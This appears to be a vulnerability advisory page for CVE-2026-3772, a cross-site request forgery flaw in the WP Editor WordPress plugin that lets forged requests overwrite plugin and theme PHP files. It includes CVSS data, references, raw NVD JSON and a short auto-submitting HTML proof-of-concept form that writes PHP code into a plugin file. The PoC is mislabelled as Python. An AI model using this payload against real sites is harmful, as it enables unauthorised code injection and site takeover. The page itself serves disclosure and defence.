CVE-2026-3772

Description

The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.9.2. This is due to missing nonce verification in the 'add_plugins_page' and 'add_themes_page' functions. This makes it possible for unauthenticated attackers to overwrite arbitrary plugin and theme PHP files with attacker-controlled code via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Editor <= 1.2.9.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-3772: CSRF to overwrite plugin/theme file
  This PoC demonstrates how an attacker could trick an admin into overwriting a PHP file.
  The target file and content need to be adjusted based on the specific endpoint.
-->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://target-site/wp-admin/admin.php?page=wp-editor-plugins" method="POST">
      <input type="hidden" name="file" value="plugin-file.php" />
      <input type="hidden" name="content" value="<?php phpinfo(); ?>" />
      <input type="hidden" name="action" value="save" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3772
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3772
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3772/
[4] VulDB https://vuldb.com/cve/CVE-2026-3772
[5] https://plugins.trac.wordpress.org/browser/wp-editor/trunk/classes/WPEditorPlugins.php#L60
[6] https://plugins.trac.wordpress.org/browser/wp-editor/trunk/classes/WPEditorThemes.php#L103
[7] https://plugins.trac.wordpress.org/changeset/3480577/
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/b1bc4a87-d5de-4d66-9cc5-802ef11f886c?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3772", "sourceIdentifier": "[email protected]", "published": "2026-05-01T12:16:16.713", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.9.2. This is due to missing nonce verification in the 'add_plugins_page' and 'add_themes_page' functions. This makes it possible for unauthenticated attackers to overwrite arbitrary plugin and theme PHP files with attacker-controlled code via a forged request, granted they can trick a site administrator into performing an action such as clicking a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-editor/trunk/classes/WPEditorPlugins.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-editor/trunk/classes/WPEditorThemes.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3480577/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b1bc4a87-d5de-4d66-9cc5-802ef11f886c?source=cve", "source": "[email protected]"}]}}